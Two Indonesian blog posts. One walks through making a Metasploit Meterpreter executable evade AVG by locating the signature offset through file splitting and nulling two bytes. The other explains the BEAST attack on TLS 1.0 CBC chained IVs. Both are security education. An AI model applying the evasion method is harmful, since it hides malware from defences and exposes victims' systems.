Menghindari Deteksi Antivirus

On November 9, 2013, in Malware, by Rizki Wicaksono

Anti Virus (AV) banyak diandalkan sebagai tools keamanan utama untuk mencegah virus (secara umum disebut malware). Banyak miskonsepsi dan mitos yang berkembang seputar AV ini. Salah satu miskonsepsi adalah merasa aman dengan adanya AV dan percaya 100% dengan AV, kalau AV bilang suatu file aman, maka kita akan percaya.

Tapi tahukah anda bagaimana cara AV mendeteksi malware? Boleh kah kita percaya 100% dengan AV ? Mungkinkah ada malware yang tidak terdeteksi AV ? Dalam tulisan ini saya akan menjelaskan cara kerja AV dan dengan memahami cara kerjanya kita bisa meloloskan diri dari deteksi AV.

Blacklist vs Whitelist

Dalam computer science, secara teoretis, mendeteksi sebuah program malicious atau bukan dengan sempurna adalah pekerjaan yang mustahil dan problem ini sekelas dengan halting problem. Dengan kata lain, secara teoretis, tidak ada satu algoritma atau prosedur yang bisa membedakan dengan sempurna mana program yang malicious dan yang tidak.

Ini adalah kabar buruk bagi kita semua pengguna komputer karena ternyata tidak mungkin ada AV yang bisa 100% melindungi kita dari malware. Namun di sisi lain, ini adalah kabar baik bagi pihak yang berniat jahat karena ini berarti terbuka lebar peluang untuk membuat malware yang tidak terdeteksi AV.

Walaupun secara teoretis pendeteksi malware yang sempurna tidak mungkin dibuat, AV akan berusaha keras mencegah jangan sampai malware berhasil dieksekusi sambil tetap mengijinkan program yang baik untuk dieksekusi

Bayangkan bila anda mengadakan acara hanya untuk orang baik saja. Bagaimana cara menyeleksi mana tamu yang baik dan tamu yang jahat ? Anda bisa menggunakan 2 pendekatan, whitelist atau blacklist.

  • Whitelist. Pendekatan whitelist secara default akan menolak semua orang kecuali dia ada dalam daftar tamu (whitelist). Dalam pendekatan ini kita harus mempunyai daftar nama, ciri-ciri atau kriteria tamu yang baik.
  • Blacklist. Pendekatan blacklist secara default akan menerima semua orang kecuali dia ada di dalam daftar terlarang (blacklist). Kebalikan dari whitelist, dalam pendekatan blacklist kita harus mempunyai daftar orang-orang yang dilarang masuk.

Dari sudut pandang security tentu lebih aman menggunakan whitelist karena defaultnya adalah “deny all”, sedangkan blacklist defaultnya adalah “allow all”.

Kapan kita memilih memakai whitelist/blacklist ? Salah satu kriterianya adalah berdasarkan jumlah/size dari whitelist/blacklist. Bila jumlah orang baik jauh lebih sedikit dari jumlah orang jahat, seperti dalam packet filtering firewall (deny all kecuali dari IP X.X.X.X) atau input validation (deny all kecuali inputnya hanya menggunakan digit 0-9), akan lebih aman dan sederhana menggunakan whitelist.

Namun bila jumlah orang baik jauh lebih banyak dari orang jahat, kita akan menggunakan blacklist. Dalam hal ini AV dan IDS (intrusion detection system) menggunakan blacklist karena jumlah program normal/baik diasumsikan jauh lebih banyak dari program yang malicious. Dengan mengikuti pendekatan ini AV harus selalu mengupdate blacklistnya mengikuti perkembangan malware, setiap ada malware baru yang belum ada di blacklist harus ditambahkan ke dalam blacklist.

Virus Signature

Kita tahu AV menggunakan pendekatan blacklist, namun pertanyaannya apa yang disimpan dalam blacklistnya itu. AV menyimpan signature malware dalam blacklistnya.  Signature adalah ciri atau pola unik yang bisa dijadikan penanda keberadaan malware.

Signature ini bisa berupa string tertentu atau kumpulan instruksi yang diambil dari sample malware. Bila suatu file mengandung signature ini, maka AV akan mendeteksi file tersebut sebagai malware. Signature dalam file bisa dalam jumlah lebih dari satu dan berada di mana saja, bisa berada di awal file, di akhir atau di tengah.

Screen Shot 2013-11-08 at 11.14.30 AM

Apakah ada file normal (bukan malware) yang “kebetulan” dalam filenya mengandung deretan byte yang sama dengan signature virus ? Itu  mungkin saja terjadi dan hal itu disebut sebagai “false positive”. Hal sebaliknya, “false negative” juga mungkin terjadi bila signature/ciri khusus malware tersebut belum terdaftar dalam blacklist AV sehingga malware tersebut lolos dari deteksi AV. Dalam tulisan ini saya akan menunjukkan bagaimana meloloskan diri dari deteksi AV.

Seperti apa bentuk signature dalam AV ? Berikut adalah salah satu contoh signature yang diambil dari signature ClamAV (dari /var/clamav/daily.cld):

Screen Shot 2013-11-08 at 1.38.40 PM

Format detail untuk ClamAV bisa dibaca di sini. Sekarang mari kita ambil satu contoh signature paling atas:

PUA.Win32.Packer.Expressor-29:1:*:e8530300008bf05656e8980300008bc8

  • Nama malware: PUA.Win32.Packer.Expressor-29
  • Jenis: 1 artinya Portable Executable, 32/64 Windows
  • Offset: * artinya di posisi manapun dalam file
  • Hex Signature: e8530300008bf05656e8980300008bc8 yang merupakan kumpulan instruksi assembly dalam hexa.

Screen Shot 2013-11-08 at 1.51.49 PM

Jadi signature tersebut bisa dibaca sebagai:

Bila dalam file windows executable (PE file) ditemukan deretan byte “E85303….8BC8″ di posisi manapun maka file tersebut diyakini mengandung malware PUA.Win32.Packer.Expressor-29. Dengan kata lain, bila suatu file windows executable mengandung instruksi “CALL DWORD 0×358, MOV ESI, EAX” dan seterusnya sampai “MOV ECX,EAX” maka file tersebut diyakini mengandung malware Expressor-29.

Static Analysis vs. Dynamic Analysis

Secara umum analisis terhadap suatu file untuk menentukan malicious atau tidak bisa dibagi menjadi 2 cara:

  • Static analysis. Dalam static analysis AV akan memeriksa isi file byte demi byte tanpa mengeksekusinya. AV akan membaca isi file dan mencari deretan byte yang cocok dengan salah satu signature dalam blacklist yang dimiliki AV. Bila di dalamnya terkandung signature, maka AV akan yakin bahwa file tersebut adalah malicious.
  • Dynamic analysis. Dalam dynamic analysis AV akan mengeksekusi malware tersebut. Lho ? Kalau malware sudah berhasil  dieksekusi berarti game over dong? Memang cara ini sangat beresiko oleh karena itu harus dilakukan dalam virtual machine/sandbox yang diawasi dengan ketat.

Kelemahan dari static analysis adalah dia tidak mampu mendeteksi malware yang signaturenya belum terdaftar dalam blacklist. Kelemahan ini coba diatasi dengan dynamic analysis yang tidak hanya melihat signaturenya saja, namun juga mengeksekusi malware dalam sandbox dan melihat apakah program ini melakukan aktivitas yang tidak mungkin dilakukan oleh program baik-baik. Pendeteksian malware menggunakan dynamic analysis ini disebut juga teknik Heuristik.

Jadi sebenarnya bisa dikatakan dynamic analysis juga menggunakan signature, namun tidak statik berupa deretan byte,  signaturenya berbasis behavior/aktivitas. Bila aktivitasnya setelah dieksekusi dalam sandbox terlihat mencurigakan berdasarkan signature behavior tadi maka AV akan mendeteksi file tersebut sebagai malware.

Metasploit Meterpreter vs. Antivirus

Mari kita mulai membuat malware yang lolos dari deteksi AV. Dalam contoh ini saya akan menggunakan Metasploit meterpreter bind TCP sebagai malwarenya. Meterpreter dikategorikan sebagai malware oleh semua AV, namun dalam contoh ini saya akan gunakan AVG.

Pertama kita akan membuat meterpreter.exe dengan msfpayload. Perhatikan saya tidak menggunakan msfencode untuk  obfuscating/encoding, saya hanya menggunakan payload murni apa adanya.

Screen Shot 2013-11-04 at 1.23.03 PM

 Saya akan memastikan bahwa AVG saya adalah AVG dengan update terbaru (7 November 2013).

avgprotected

Agar tidak mengganggu, saya akan sementara mematikan resident shield. Nanti bila meterpreter yang lolos deteksi sudah selesai, saya akan menyalakan kembali untuk mengujinya.

Screen Shot 2013-11-07 at 11.56.22 AM

Mendeteksi Posisi Signature

Sebelumnya kita coba scan dulu file meterpreter.exe yang masih original. Hasilnya adalah meterpreter.exe kita terdeteksi sebagai Win32/Heur.

Screen Shot 2013-11-09 at 1.06.33 AM

 

Tentu di dalam file ini mengandung signature sehingga terdeteksi sebagai malware. Pertanyaannya adalah pada posisi/offset berapakah signature tersebut ? Kita perlu tahu di mana posisi offset yang mengandung signature karena dengan mengetahui posisi signature dengan tepat, kita bisa mengubah isi filenya di posisi tersebut agar tidak lagi cocok dengan signature AV.

Kita tidak tahu signature yang terdeteksi berada di posisi berapa antara 0 sampai 73802 (ukuran file meterpreter.exe). Bagaimana cara kita mencarinya ?

Kita akan melakukan dengan memecah file meterpreter.exe menjadi beberapa file dengan ukuran kelipatan dari suatu blok. Maksudnya bagaimana? Sebagai contoh kita akan memotong meterpreter.exe dengan panjang blok 10.000 byte. Maka hasil split akan memecah menjadi 8 file:

  • File pertama berukuran 10.000 byte
  • File kedua berukuran 20.000 byte (file pertama + 10.000 byte)
  • File ketiga berukuran 30.000 byte (file kedua + 10.000 byte)
  • File keempat berukuran 40.000 byte (file ketiga + 10.000 byte) dan seterusnya.

Saya membuat script python kecil untuk melakukan itu pydsplit.py yang sebenarnya adalah versi saya dari dsplit.exe.

Pada gambar di bawah ini terlihat pydsplit.py memotong mulai dari offset 0 sepanjang kelipatan 10.000 byte. File yang terbentuk adalah meterpreter_10000.exe berukuran 10.000, file meterpreter_20000.exe berukuran 20000 yaitu file pertama ditambah satu blok 10000 lagi, dan seterusnya.

Screen Shot 2013-11-07 at 1.24.06 PM

Sesudah dipotong menjadi 8 file, kita scan semuanya dengan AVG.

scanwithavg

Berikut adalah hasil scan yang diexpor ke bentuk Excel. Terlihat bahwa semua file terdeteksi sebagai malware. Ingat bila file yang berukuran 10.000 byte terdeteksi malware, file-file lain yang lebih besar juga pasti akan terdeteksi malware karena file-file tersebut juga mengandung file yang berukuran lebih kecil . Oleh karena itu kita akan mulai mencari signature dari file yang paling kecil dulu.

Screen Shot 2013-11-07 at 1.49.29 PM

Karena file meterpreter_10000 terdeteksi sebagai malware, maka hasil ini menunjukkan bahwa ada signature di offset 0 s/d 10.000. Perhatikan kita sudah mempersempit posisi signature dari tadinya signature ada di offset 0 – 73802, sekarang dipersempit menjadi rentang offset 0 – 10.000.

Selanjutnya dengan cara yang sama kita akan melakukan split antara 0 s/d 10.000 dengan ukuran blok 1.000. Hasilnya adalah 10 file dengan ukuran 1000, 2000, 3000, 4000 s/d 10.000.

Screen Shot 2013-11-07 at 1.51.24 PM

Selanjutnya kita scan juga dengan AVG untuk melihat mana di antara 10 file itu yang terdeteksi mengandung malware.

Screen Shot 2013-11-07 at 1.53.44 PM

Berikut adalah hasil scan setelah diekspor ke Excel. Jangan kuatir dengan “Corrupted executable file”  itu cara AVG untuk mengatakan file ini tidak mengandung malware dan namun dalam keadaan terpotong (tidak lengkap). Di antara 10 file hasil split ini ternyata file berukuran 7000 tidak terdeteksi malware, artinya pada posisi 0 – 7000 tidak mengandung signature.

Namun file berukuran 8000 dan 9000 dikenali sebagai malware oleh AVG artinya dalam file ini mengandung signature. Karena kita tahu file berukuran 7000 tidak mengandung signature, tapi file berukuran 8000 mengandung signature, berarti ada sesuatu antara 7000-8000 yang menimbulkan kecurigaan AV. Sesuatu itu adalah signature, dari hasil ini kita yakin bahwa ada signature yang berada di offset 7000 s/d 8000.

Screen Shot 2013-11-07 at 1.58.17 PM

Hasil scan ini bisa digambarkan seperti gambar di bawah ini (icon tengkorak melambangkan signature yang dicari).

Screen Shot 2013-11-09 at 2.01.35 AM

Kini sudah semakin sempit rentang posisi signature, tapi masih belum cukup. Kita perlu split lagi kali ini antara 7000 – 8000 dengan ukuran blok 100 byte. Karena ukuran blok 100 byte, maka akan terbentuk file berukuran 7100, 7200, 7300, 7400 s/d 8000.

Screen Shot 2013-11-07 at 1.59.41 PM

Kita juga scan file-file hasil split ini dengan AVG.

Screen Shot 2013-11-07 at 2.02.00 PM

Hasil scan menunjukkan bahwa file berukuran 7400 ke atas dikenali sebagai malware sedangkan file berukuran 7300 ke bawah tidak. Ini artinya sampai dengan offset ke 7300 tidak mengandung signature. Karena file berukuran 7400 dikenali sebagai malware, maka signature bisa dipastikan berada di posisi rentang 7300 – 7400.

Screen Shot 2013-11-07 at 2.05.43 PM

Hasil scan ini bisa digambarkan dalam ilustrasi berikut.

Screen Shot 2013-11-09 at 2.05.35 AM

Sekarang rentang signature semakin kecil lagi, hanya 100 byte saja. Kita lanjutkan melakukan split antara offset 7300-7400 dengan  ukuran blok 10 byte. Hasil split akan menciptakan file baru berukuran 7310, 7320, 7330, 7340 s/d 7400.

Screen Shot 2013-11-07 at 2.08.59 PM

Berikut adalah hasil scan file hasil split tersebut. AVG mendeteksi malware pada file berukuran 7370 ke atas. Karena file berukuran 7360 tidak mengandung signature, ini artinya signature berada pada posisi 7360 s/d 7370.

Screen Shot 2013-11-07 at 2.13.21 PM

Hasil scan ini bisa diilustrasikan seperti gambar di bawah ini.

Screen Shot 2013-11-09 at 2.08.36 AM

Sampai disini kita tahu signature berada di posisi 7360 – 7370. Namun kita perlu satu kali lagi melakukan split dengan ukuran blok 1 byte saja sehingga tercipta file berukuran 7361. 7362, 7363 s/d 7370.

Screen Shot 2013-11-07 at 2.16.46 PM

Hasil Scan file menunjukkan file berukuran 7361 s/d 7369 tidak terdeteksi sebagai malware. Hal ini meyakinkan kita bahwa signature berada di offset 7370 karena file berukuran 7370 terdeteksi sebagai malware sedangkan 7369 tidak.

Screen Shot 2013-11-07 at 2.21.37 PM

Modifikasi File Meterpreter

Setelah kita tahu pasti offset signature yang memicu AV mendeteksi malware pada posisi 7370, sekarang kita akan melihat dengan hex editor byte pada posisi tersebut. Pada posisi tersebut 7370 terdapat 0×75.

Screen Shot 2013-11-07 at 2.51.11 PM

Kalau byte pada offset 7370 (0×75) dan satu atau beberapa byte sebelumnya kita “rusak” atau ganti dengan byte lain, maka seharusnya AV akan gagal mendeteksi malware karena signature yang tadinya ada disana kini sudah tidak ada lagi.

Namun sebelum kita menimpa byte signature tadi dengan byte lain untuk mengelabui AV. Pertanyaannya apakah pengubahan ini membuat meterpreter.exe menjadi corrupt/rusak ? Mari kita coba lihat dengan ollydbg.

Kita pasang jebakan breakpoint di 2 byte terakhir, EO 75 dan mulai menjalankan meterpreter. Ternyata setelah dieksekusi, meterpreter.exe bisa berjalan normal dan membuka session meterpreter dengan sempurna tanpa satu kali pun menginjak jebakan breakpoint kita.

Screen Shot 2013-11-07 at 3.24.57 PM

Gambar berikut ini adalah eksploitasi meterpreter bind TCP. Eksploitasi ini dilakukan dalam keadaan meterpreter.exe dipasangi jebakan breakpoint. Eksploitasi berjalan sukses tanpa terhenti di breakpoint sama sekali.

Screen Shot 2013-11-07 at 3.27.54 PM

Karena semua fungsi meterpreter jalan normal, tanpa sekalipun menginjak breakpoint, ini artinya instruksi pada posisi 7370 ini tidak berpengaruh pada jalannya program (menjadi semacam code cave / unreachable code).

Hasil ini meyakinkan kita untuk mengubah 2 byte terakhir 7369 dan 7370 menjadi byte 00 (null byte) tanpa perlu takut mengganggu/merusak program.

Screen Shot 2013-11-07 at 3.06.00 PM

Setelah 2 byte pada posisi 7369 dan 7370 (E0-75) diubah menjadi 00-00, kita coba scan ulang meterpreter.exe. Hasil scan ulang menunjukkan kini AVG tidak lagi mendeteksi meterpreter.exe sebagai malware. Game Over, You Win!

Screen Shot 2013-11-07 at 3.48.49 PM

Dengan hasil ini berarti kita telah berhasil menghindari deteksi AVG hanya dengan mengubah 2 byte menjadi null.

Sekarang kita aktifkan lagi resident shield di AVG karena disitu ada fitur “Use Heuristics”. Setelah itu kita coba double-click meterpreter.exe untuk mengeksekusinya, apakah bisa berjalan dengan sempurna tanpa hambatan dari AV ?

Screen Shot 2013-11-07 at 3.50.26 PM

Setelah di double-click, ternyata eksekusi tetap berhasil walaupun opsi “Use heuristics” dan “Enable Resident Shield” diaktifkan, ini artinya AVG gagal total mendeteksi meterpreter kita. File meterpreter.exe yang sudah kita modifikasi 2 byte pada posisi 7369-7370 sekarang bisa dieksekusi secara lancar tanpa diblok oleh AV.

Screen Shot 2013-11-07 at 3.52.52 PM

Terus terang saya agak kecewa juga melihat AVG begitu mudahnya ditipu hanya dengan mengubah 2 byte saja. Bahkan fitur Heuristic analisisnya pun tak berdaya dengan “obfuscation” sesederhana ini. Bagaimana dengan AV lain ? Saya harap lebih baik dari ini, mungkin di lain kesempatan saya akan bahas :)

 

Blockwise Chosen Boundary Attack – BEAST Attack

On April 20, 2013, in Cryptography, by Rizki Wicaksono

Pada September 2011 lalu dunia sempat dikejutkan dengan BEAST (Browser Exploit Against SSL/TLS) attack yang menyerang SSL/TLS oleh Thai Duong dan Juliano Rizzo. Serangan tersebut didemokan dalam Ekoparty 2011 dan dijelaskan dalam paper berjudul Here Comes the XOR Ninjas. Serangan ini practical dan terbukti efektif mencuri session ID yang disimpan dalam cookie website yang dilindungi dengan SSL/TLS (selanjutnya saya hanya menyebut SSL untuk SSL/TLS). Dalam tulisan ini saya akan membahas apa itu BEAST attack dan bagaimana cara kerjanya.

BEAST Attack

Bagi yang belum pernah mendengar BEAST attack silakan melihat dulu youtube, BEAST vs HTTPS yang mendemokan bagaimana BEAST attack bisa digunakan membajak akun Paypal korban. Dalam video tersebut terlihat bagaimana BEAST berhasil mendekrip paket SSL satu byte per satu byte sampai akhirnya seluruh cookie korban berhasil dicuri. Menakutkan bukan?

Gara-gara BEAST attack ini rame-rame situs pengguna SSL mengubah algoritma enkripsinya dari block cipher menjadi stream cipher (RC4). Lho kenapa kok sampai harus mengganti dari block cipher menjadi stream cipher ? Rupanya BEAST attack ini hanya menyerang SSL yang menggunakan algoritma block cipher (e.g AES/DES/3DES) dalam mode CBC (cipher block chaining). Dengan beralih ke stream cipher maka situs tersebut menjadi kebal dari serangan BEAST.

Mari kita bahas ada apa dengan SSL block cipher dan mode CBC sehingga bisa dieksploitasi sampai sedemikian fatalnya.

Block-Cipher dan SSL Record

Sebelumnya sebagai background saya akan menjelaskan sedikit mengenai enkripsi dengan block-cipher dalam SSL.

SSL pada dasarnya mirip dengan protokol pada transport layer seperti TCP yang memberikan layanan connection oriented communication dan menjamin reliability untuk layer di atasnya, hanya bedanya adalah data yang lewat SSL dalam bentuk terenkripsi.

Kalau dalam TCP ada yang namanya 3-way handshake untuk membentuk koneksi, dalam SSL ada negotiation. Dalam proses negosiasi akan disepakati algoritma (e.g encryption, key exchange,MAC) apa yang dipakai dan juga disepakati kunci simetris yang dipakai untuk mengenkripsi data.

Perlu diketahui SSL menggunakan algoritma simetris (e.g RC4, AES, DES) untuk mengenkripsi data karena lebih murah komputasinya dibanding algoritma asimetris (e.g RSA). Algoritma asimetris hanya dipakai selama proses negosiasi saja untuk mengamankan proses pertukaran kunci simetris, setelah session/channel/connection SSL terbentuk, algoritma asimetris tidak dipakai lagi, semua komunikasi dalam channel SSL menggunakan algoritma enkripsi simetris baik block-cipher maupun stream-cipher.

Dalam channel SSL data dikirim dalam bentuk record SSL yang berukuran maksimal 16 kB. Data yang dikirim adalah data yang ada pada layer di atasnya seperti request/response HTTP dalam HTTPS (HTTP over SSL).

Screen Shot 2013-04-19 at 12.43.42 AM

Data yang dikirim melalui channel SSL akan dipecah menjadi satu atau lebih SSL record sebelum dikirimkan ke tujuan dan semua record dienkrip dengan kunci simetris yang sama (satu kunci untuk client ke server, dan satu kunci untuk server ke client).

Sebagai pengingat saja, dalam block cipher dalam mode opeasi CBC, setiap blok plaintext di-XOR dengan blok ciphertext sebelumnya untuk menghasilkan blok ciphertext. Khusus untuk blok pertama, blok plaintext di-XOR dengan IV.

Screen Shot 2013-03-10 at 6.54.29 PM

Chained IV

Bagaimanakah cara mengenkripsi SSL record ? Data plaintext yang akan dienkrip dalam SSL record tentu terdiri dari satu atau lebih blok plaintext, P1, P2, P3,…, Pn yang akan dienkrip menjadi ciphertext C1, C2, C3,… ,Cn. Ingat dalam CBC mode, dibutuhkan IV untuk menghasilkan C1, nah yang menjadi pertanyaan adalah dari manakah IV atau C0 ini berasal ?

Dalam RFC 2246 tentang TLS 1.0 dijelaskan begini:

With block ciphers in CBC mode (Cipher Block Chaining) the initialization vector (IV) for the first record is generated with the other keys and secrets when the security parameters are set. The IV for subsequent records is the last ciphertext block from the previous record.

Ternyata IV untuk SSL record pertama ditentukan pada saat handshaking (negosiasi), sedangkan IV untuk record selanjutnya adalah block ciphertext terakhir dari record SSL sebelumnya. Menggunakan block ciphertext terakhir sebagai IV untuk record berikutnya disebut dengan chained IV.

Screen Shot 2013-04-20 at 12.07.53 PM

Pada gambar di atas terlihat bahwa blok ciphertext terakhir dari record pertama (c4) menjadi C0 atau IV untuk record kedua. Begitu juga block ciphertext terakhir dari record kedua akan menjadi IV untuk record ketiga. Nanti bila ada record ke-4, block ciphertext terakhir dari record ke-3 akan berperan sebagai IV untuk record SSL ke-4.

Pada gambar di atas c0 digambarkan sebagai kotak bergaris putus-putus karena memang C0/IV bukan bagian dari record SSL. Dalam record SSL, block pertama ciphertext adalah C1 bukan C0 atau IV dengan kata lain pendekatan yang dipakai adalah implicit IV.

Pendekatan chained IV ini memandang semua blok ciphertext dari semua record SSL seolah-olah sebagai aliran blok ciphertext yang berurutan, C1, C2, C3….Cn. Pada gambar di atas terlihat record pertama adalah c1 || c2 || c3 || c4, dan 4 blok ciphertext pada record ke-2 bisa dianggap kelanjutan dari record sebelumnya, c5 || c6 || c7 || c8. Tiga blok ciphertext pada record ke-3 juga bisa  dianggap sebagai kelanjutan dari blok ciphertext sebelumnya, c9 || c10 || c11.

Screen Shot 2013-04-20 at 1.20.15 PM

Chained IV terbukti menjadi masalah keamanan serius karena seorang penyerang sudah tahu duluan IV untuk mengenkrip data berikutnya. Nanti akan saya jelaskan bagaimana chained IV ini bisa dieksploitasi.

Sebagai catatan: Kelemahan chained IV ini diperbaiki di TLS 1.1 dengan menggunakan explicit IV, setiap record menyertakan IV untuk record tersebut (IV menjadi bagian dari record sebagai c0).

Eksploitasi Chained IV

Sekarang akan saya bahas bagiamana chained IV bisa dieksploitasi. Kita akan asumsikan seorang penyerang sedang sniffing jaringan dan mendapatkan (encrypted) ssl record berisi ciphertext Ca = C1 || C2 || C3 || C4 || C5. Dalam BEAST attack ini penyerang memiliki privilege chosen plaintext, artinya dia bisa menentukan plaintext apa yang akan dienkrip dan mendapatkan hasil enkripsinya (ciphertext).

Penyerang tersebut ingin mengetahui apakah plaintext dari suatu blok ciphertext, misalkan C2 adalah G(uess). Bagaimana caranya?

Penyerang akan membuat plaintext P6 = C1 XOR C5 XOR G kemudian meminta sistem mengenkrip plaintext tersebut.  Mari kita lihat bagaimana P6 dienkripsi menjadi C6. Ingat melakukan XOR dengan nilai yang sama dua kali akan meniadakan efeknya, karena ada XOR C5 dua kali, maka dua XOR C5 tersebut bisa dihapus.

C6 = E(P6 XOR C5) = E(C1 XOR C5 XOR G XOR C5) = E(C1 XOR G)

Apa artinya dari persamaan C6 = E(C1 XOR G) di atas? Perhatikan bahwa bila G = P2 (plaintext dari C2) maka yang terjadi adalah C6 = E(C1 XOR P2) = C2.

Okey, jadi jika G = P2, maka C6 = C2, lalu so what? apa istimewanya? Bagi yang belum menyadari potensi bahayanya, perhatikan bahwa hanya dengan melihat apakah C6 = C2, si penyerang bisa memastikan apakah G = P2. Bila si penyerang melihat bahwa C6 = C2 artinya bisa dipastikan bahwa G = P2, atau tebakannya benar.

Kini si penyerang memiliki cara untuk memastikan apakah tebakannya benar atau salah

Sudah mulai terbayang bukan cara mendekrip C2 ? Pertama penyerang akan memilih tebakan G’ dan meminta P6 = C1 XOR C5 XOR G’ untuk dienkrip (chosen plaintext). Kemudian penyerang akan melihat apakah hasil enkripsi P6, C6 = C2 atau tidak ?

Screen Shot 2013-04-20 at 2.25.16 PM

Bila dilihat C6 tidak sama dengan C2, maka penyerang akan memilih tebakan baru G”. Ingat karena adanya chained IV, maka C6 tersebut menjadi IV untuk mengenkripsi P7 sehingga pada tebakan kedua, si penyerang memilih P7 = C1 XOR C6 XOR G”.

Screen Shot 2013-04-20 at 2.30.24 PM

Penyerang juga akan melihat apakah C7 = C2 ? Bila masih salah, penyerang akan memilih tebakan baru, G”’. Sekali lagi karena adanya chined IV, C7 tersebut menjadi IV untu mengenkripsi P8 sehingga pada tebakan ke-3 si penyerang memilih P8 = C1 XOR C7 XOR G”’.

Screen Shot 2013-04-20 at 2.32.19 PM

Bila kali ini penyerang melihat bahwa C8 = C2, maka penyerang yakin bahwa G”’ adalah P2 (plaintext dari C2). Namun bila masih salah, penyerang akan terus membuat tebakan baru sampai didapatkan hasil yang positif.

Dalam contoh di atas, plainteks yang dipilih selalu melibatkan C1 karena kita ingin mendekrip C2 (mencari P2). Secara umum bila yang ingin didekrip adalah Cn (mencari Pn), maka plainteks yang dipilih harus memakai Cn-1.

Chosen Boundary

Bagi yang jeli tentu akan melihat masih ada yang kurang dari cara ini. Ingat bahwa G adalah tebakan dari penyerang yang berukuran satu blok (AES berukuran 16 byte). Bagaimana cara menentukan G ? Mengingat G berukuran satu blok 16 byte sehingga kemungkinan G sangat banyak, tentu tidak mungkin kita memilih G sembarangan.

Lalu, bagaimana cara kita membuat “educated guess” atau “smart guess” untuk memilih G yang paling berpotensi benar ?

Memilih G yang tepat untuk menebak P2 sangat susah bila yang tidak diketahui adalah semuanya (16 byte). Tapi kalau kita yakin bahwa 15 byte pertama P2 adalah huruf ‘x’ sedangkan satu byte terakhir P2 tidak diketahui isinya, maka hanya ada 256 kemungkinan tebakan yang harus dicoba. Salah satu diantara 256 tebakan di bawah ini pasti ada yang benar kalau hanya 1 karakter terakhir yang tidak diketahui isinya.

  • Ga = xxxxxxxxxxxxxxxa
  • Gb = xxxxxxxxxxxxxxxb
  • Gc = xxxxxxxxxxxxxxxc
  • Gd = xxxxxxxxxxxxxxxd
  • Ge = xxxxxxxxxxxxxxxe
  • … dan seterusnya

Bagaimana kalau plaintextnya adalah teks “topsecret” dan penyerang tidak mengetahui satu byte pun isinya?

Dalam BEAST attack, selain privilege chosen plaintext, si penyerang punya satu privilege lagi, yaitu menyisipkan teks (prepend) di awal atau di tengah teks lain sebelum teks tersebut dienkripsi. Jadi bila si penyerang mengirimkan teks “abcd”, maka sistem akan mengenkripsi gabungan “abcd” dan “topsecret”.

Privilege penyisipan teks ini sangat penting dalam kesuksesan BEAST attack karena dengan menyisipkan teks artinya sama saja kita bisa menggeser batas blok plaintext. Bagaimana maksudnya ?

Ingat bahwa agar kita bisa menebak satu blok dengan mudah, kita harus membuat 15 byte pertama blok tersebut menjadi sesuatu yang kita ketahui, kemudian hanya menyisakan satu byte saja yang tidak diketahui.

Apa yang terjadi bila teks “topsecret” disisipkan teks “xxxxxxxxxxxxxxx” di awalnya? Setelah digabung teks gabungannya menjadi “xxxxxxxxxxxxxxxtopsecret”. Lalu so what? Apa gunanya menambahkan teks di awal? Memang sepintas tidak terlihat bedanya, baru akan terlihat gunanya ketika kita melihat teks gabungan tersebut dalam bentuk blok-blok plainteks.

Screen Shot 2013-04-20 at 3.26.55 PM

Sudah terlihat bedanya bukan? Setelah ditambahkan 15 huruf ‘x’ di awal, sekarang jumlah blok plainteks menjadi 2 (P1 dan P2), dan blok plainteks pertama adalah ‘xxxxxxxxxxxxxxxt’. Aha! Sekarang kita bisa menebak P1 dengan mudah karena kita yakin bahwa 15 karakter pertama P1 berisi ‘x’ karena kita sendiri yang menambahkan huruf ‘x’ tersebut.

Teknik menyisipkan teks ini bertujuan untuk menggeser batas blok (chosen boundary) sehingga hanya menyisakan satu karakter saja yang tidak diketahui.

Setelah penyerang menebak 256 kali, dijamin dia akan mengetahui bahwa huruf pertama adalah ‘t’. Selanjutnya bagaimana cara menebak karakter ke-2 ?

Menebak karakter ke-2 dilakukan dengan mengulang langkah awal tadi, yaitu menggeser batas dengan menyisipkan teks di awal. Kali ini yang disisipkan adalah 14 huruf ‘x’, bukan lagi 15 huruf ‘x’. Mari kita lihat blok plainteksnya.

Screen Shot 2013-04-20 at 3.35.27 PM

Karena karakter yang disisipkan (prepend) hanya 14, maka dalam P1 menyisakan ‘to’. Kita sudah tahu 14 huruf pertama adalah ‘x’ dan huruf pertama adalah ‘t’, jadi dari P1 hanya karakter terakhir yang tidak diketahui isinya. Sekali lagi, kita berada dalam posisi yang kita inginkan, kita hanya perlu menebak 256 kali tebakan untuk mendapatkan huruf ke-2 :

  • Ga = xxxxxxxxxxxxxxta
  • Gb = xxxxxxxxxxxxxxtb
  • Gc = xxxxxxxxxxxxxxtc
  • Go = xxxxxxxxxxxxxxto

Menebak karakter ke-3 juga dilakukan dengan cara yang sama. Kita menggeser boundary dengan menyisipkan 13 karakter ‘x’ di awal sehingga blok plainteks yang terbentuk adalah:

Screen Shot 2013-04-20 at 3.40.24 PM

Kali ini P1 adalah 13 huruf ‘x’, diikuti dengan 2 karakter yang sudah diketahui ‘to’ dan satu karakter lagi yang belum diketahui. Karena hanya karakter terakhir yang tidak diketahui, maka hanya diperlukan paling banyak 256 kali tebakan untuk mengetahui isi karakter ke-3:

  • Ga = xxxxxxxxxxxxxtoa
  • Gb = xxxxxxxxxxxxxtob
  • Gc = xxxxxxxxxxxxxtoc
  • Gp = xxxxxxxxxxxxxtop

Dua Fase Serangan

Tadi sudah kita bahas bagaimana cara mendekrip satu blok cipherteks. Secara umum tahapannya bisa dibagi menjadi 2 fase:

  1. Fase menggeser batas
  2. Fase melakukan 256 tebakan

Fase pertama si penyerang memanfaatkan privilege chosen boundarynya untuk menggeser batas. Penyerang akan menyisipkan suatu teks untuk menggeser batas blok plainteks sedemikian hingga hanya menyisakan satu karakter yang tidak diketahui. Gambar di bawah ini menunjukkan proses serangan pada fase pertama. Penyerang mengirimkan 15 karakter ‘x’ kemudian menerima hasil enkripsi 15 karakter ‘x’ dan ‘topsecret’ dalam bentuk C0||C1||C2.

Screen Shot 2013-04-20 at 3.51.58 PM

Fase kedua adalah fase untuk menebak karakter terakhir, pada fase ini penyerang memanfaatkan privilege chosen plaintextnya (lempar plaintext, terima ciphertext). Dari fase pertama penyerang sudah mengetahui:

  • Ciphertext C = C0||C1||C2
  • P1 = xxxxxxxxxxxxxxx?

Penyerang harus menebak karakter terakhir P1 yang belum diketahui isinya.

Langkah pertama penyerang memilih tebakan Ga = ‘xxxxxxxxxxxxxxxa’ kemudian menentukan plaintext P3 = C0 XOR C2 XOR Ga.

